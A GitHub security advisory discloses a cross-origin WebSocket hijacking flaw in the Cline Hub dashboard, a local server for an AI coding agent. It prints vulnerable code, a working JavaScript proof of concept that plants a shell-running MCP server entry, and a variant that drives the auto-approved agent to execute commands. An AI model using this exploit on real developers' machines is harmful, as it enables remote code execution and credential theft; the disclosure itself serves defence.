GitHub Advisoryadvisory · npm

GHSA-3cj3-hqcr-g934 Cline: Cross-Origin WebSocket Hijacking in Cline Hub Dashboard (`/browser` endpoint)

HIGH Published 2026-09-24 Modified 2026-09-24 Official page ↗
Aliases
CVE-2026-59723
Ecosystem
npm
Packages
cline
Severity
High
CVSS vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Weaknesses
CWE-346
Reviewed
2026-09-24

Affected packages

• npm cline: < 3.0.30 → fixed in 3.0.30

Description

Summary The Cline Hub dashboard server (`@cline/cline-hub`), launched via the `cline dashboard` CLI command, accepts WebSocket connections on the `/browser` endpoint without validating the HTTP `Origin` header. When `ROOM_SECRET` is not set—the default for local (`127.0.0.1`) binds—`isAuthorizedBrowserRequest()` returns `true` unconditionally, allowing any website a developer visits to open a cross-origin WebSocket to `ws://127.0.0.1:8787/browser`. An attacker-controlled page can then send `desktopCommand` frames to read workspace/session state, mutate MCP and provider settings, and—because dashboard sessions default to `autoApprove: true` for all tools—trigger arbitrary command execution when a provider/model is configured. Dynamically confirmed: an `upsert_mcp_server` frame injected a malicious `stdio` MCP server entry into the victim's Cline settings file with `ok: true` response. Details The vulnerable code path spans multiple files in the `apps/cline-hub` workspace. No secret by default (local bind) `apps/cline-hub/src/options.ts:54–57` converts an empty `ROOM_SECRET` environment variable to `undefined`: ```ts // apps/cline-hub/src/options.ts:54 function normalizeRoomSecret(value: string | undefined): string | undefined { const secret = value?.trim(); return secret ? secret : undefined; } ``` `apps/cline-hub/src/options.ts:67–85` allows the local default host (`127.0.0.1`) to start without a secret, so `roomSecret` remains `undefined` in the default configuration. Authorization bypass — Origin not checked `apps/cline-hub/src/server.ts:61–64` short-circuits all authorization when `roomSecret` is `undefined`, and performs no `Origin` header check at any point: ```ts // apps/cline-hub/src/server.ts:61 function isAuthorizedBrowserRequest(url: URL): boolean { if (!roomSecret) return true; return url.searchParams.get("roomSecret") === roomSecret; } ``` WebSocket upgrade without Origin validation `apps/cline-hub/src/server.ts:86–97` upgrades any request to `/browser` without inspecting the `Origin` header: ```ts // apps/cline-hub/src/server.ts:86 if (url.pathname === "/browser") { if (!isAuthorizedBrowserRequest(url)) { return createJsonResponse({ error: "invalid_room_secret" }, 401); } if (server.upgrade(req, { data })) return undefined; } ``` Browsers enforce the Same-Origin Policy for fetch/XHR but not for WebSocket connections—they always include the `Origin` header but leave enforcement to the server. Because the server ignores `Origin`, any cross-origin JavaScript can connect. Auto-approve tool policy for dashboard sessions `apps/cline-hub/src/server/sessions.ts:129–133` sets the default tool policy to auto-approve all tools for new dashboard sessions: ```ts // apps/cline-hub/src/server/sessions.ts:129 toolPolicies: options?.autoApproveTools === false ? { "*": { autoApprove: false } } : { "*": { autoApprove: true } }, ``` MCP settings write sink `apps/cline-hub/src/server/desktop-commands.ts:180–185` processes `upsert_mcp_server` commands without additional authorization. `apps/cline-hub/src/server/mcp.ts:101–136` writes arbitrary `stdio` command entries to `$CLINE_DATA_DIR/settings/cline_mcp_settings.json`, which Cline executes when the MCP server is next activated. PoC Prerequisites • `cline` version 3.0.24 installed globally • A browser (or any WebSocket client) running on the same machine as the victim Setup ```bash npm i -g [email protected] export CLINE_DATA_DIR="$(mktemp -d)" cline dashboard --no-open Default: HOST=127.0.0.1, PORT=8787, ROOM_SECRET unset ``` Exploit (browser console on any cross-origin page) Open any non-Cline website in the browser and paste the following into the DevTools console while the dashboard is running: ```js const ws = new WebSocket("ws://127.0.0.1:8787/browser"); ws.onopen = () => { ws.send(JSON.stringify({ type: "desktopCommand", id: "poc-mcp-write", command: "upsert_mcp_server", args: { input: { name: "poc-cswsh", transportType: "stdio", command: "sh", args: ["-c", "touch /tmp/cline-hub-cswsh-poc"], disabled: false } } })); }; ws.onmessage = (e) => console.log(e.data); ``` Expected result • The WebSocket connection is accepted without any `Origin` rejection. • The server responds with `{"type":"desktopCommandResult","id":"poc-mcp-write","ok":true}`. • `$CLINE_DATA_DIR/settings/cline_mcp_settings.json` contains the injected `poc-cswsh` `stdio` MCP server entry pointing to `sh -c ...`. • On the next MCP connection by Cline, the injected shell command executes under the victim's user account. Docker-based dynamic reproduction ```bash docker build -f vuln-001/Dockerfile -t cswsh-poc-vuln001 /path/to/npmAI_11_cline__cline/ docker run --rm cswsh-poc-vuln001 Expected final output: [RESULT] PASS — Cross-origin WebSocket hijacking CONFIRMED ``` The Python PoC (`poc.py`) connects to `ws://127.0.0.1:8787/browser` with `Origin: http://evil.attacker.example.com`, sends the `upsert_mcp_server` frame, and confirms both the `ok: true` response and the presence of the injected MCP entry in the settings file. All three assertions passed in dynamic testing. RCE variant (requires provider/model configured) If the victim has a working AI provider configured, send a `type: "send"` frame with `config.autoApproveTools: true` and a task prompt that instructs Cline to execute a shell command. Dashboard-created sessions default to `autoApprove: true` for all tools, so no confirmation prompt is shown. Impact Any malicious website visited by a developer running `cline dashboard` on the default local configuration can: 1. Read session metadata, workspace state, and provider configuration exposed through the WebSocket protocol. 2. Write arbitrary MCP server entries (including `stdio` entries with arbitrary shell commands) to `cline_mcp_settings.json`, achieving persistent code execution when Cline activates the MCP server. 3. Control active Cline agent sessions—with all tools auto-approved—to perform file read/write, command execution, and network operations on behalf of the victim. 4. Exfiltrate credentials or API keys available in the developer's environment or Cline provider configuration. The attack requires only that the victim has the dashboard running (a one-command default-on workflow feature) and visits a single attacker-controlled page. No authentication, user interaction beyond the page visit, or knowledge of any secret is required. The impact is scoped to the developer's local machine and Cline data directory, but lateral movement and supply chain attacks are achievable via injected MCP servers or agent-executed commands. Reproduction artifacts `Dockerfile` ```dockerfile VULN-001: Cross-Origin WebSocket Hijacking (CSWSH) in Cline Hub Dashboard CVE candidate: CWE-346 (Origin Validation Error) This Dockerfile builds a container that: 1. Installs the Bun runtime and SDK workspace dependencies 2. Builds the @cline/shared, @cline/llms, @cline/agents, @cline/core packages 3. Installs Python 3 + websockets library for the PoC script 4. Launches the cline-hub dashboard server (no ROOM_SECRET → any Origin accepted) 5. Runs poc.py which connects with a cross-origin Origin header and injects an arbitrary MCP server entry into the user's settings file FROM oven/bun:1.3 ── System packages ────────────────────────────────────────────────────────── RUN apt-get update && \ apt-get install -y --no-install-recommends \ python3 python3-pip curl && \ rm -rf /var/lib/apt/lists/* Install Python websockets library for the PoC RUN pip3 install websockets --break-system-packages ── Copy source ─────────────────────────────────────────────────────────────── WORKDIR /app Copy the cloned repository (build context = npmAI_11_cline__cline/) COPY repo/ ./repo/ Copy the PoC script COPY vuln-001/poc.py ./poc.py …

Related

Alias · CVE (1)

  • CVE-2026-59723 Cline is an autonomous coding agent as an SDK, IDE extension, or CLI assistant. vulnerability

Weakness · CWE (1)

  • CWE-346 Origin Validation Error weakness

References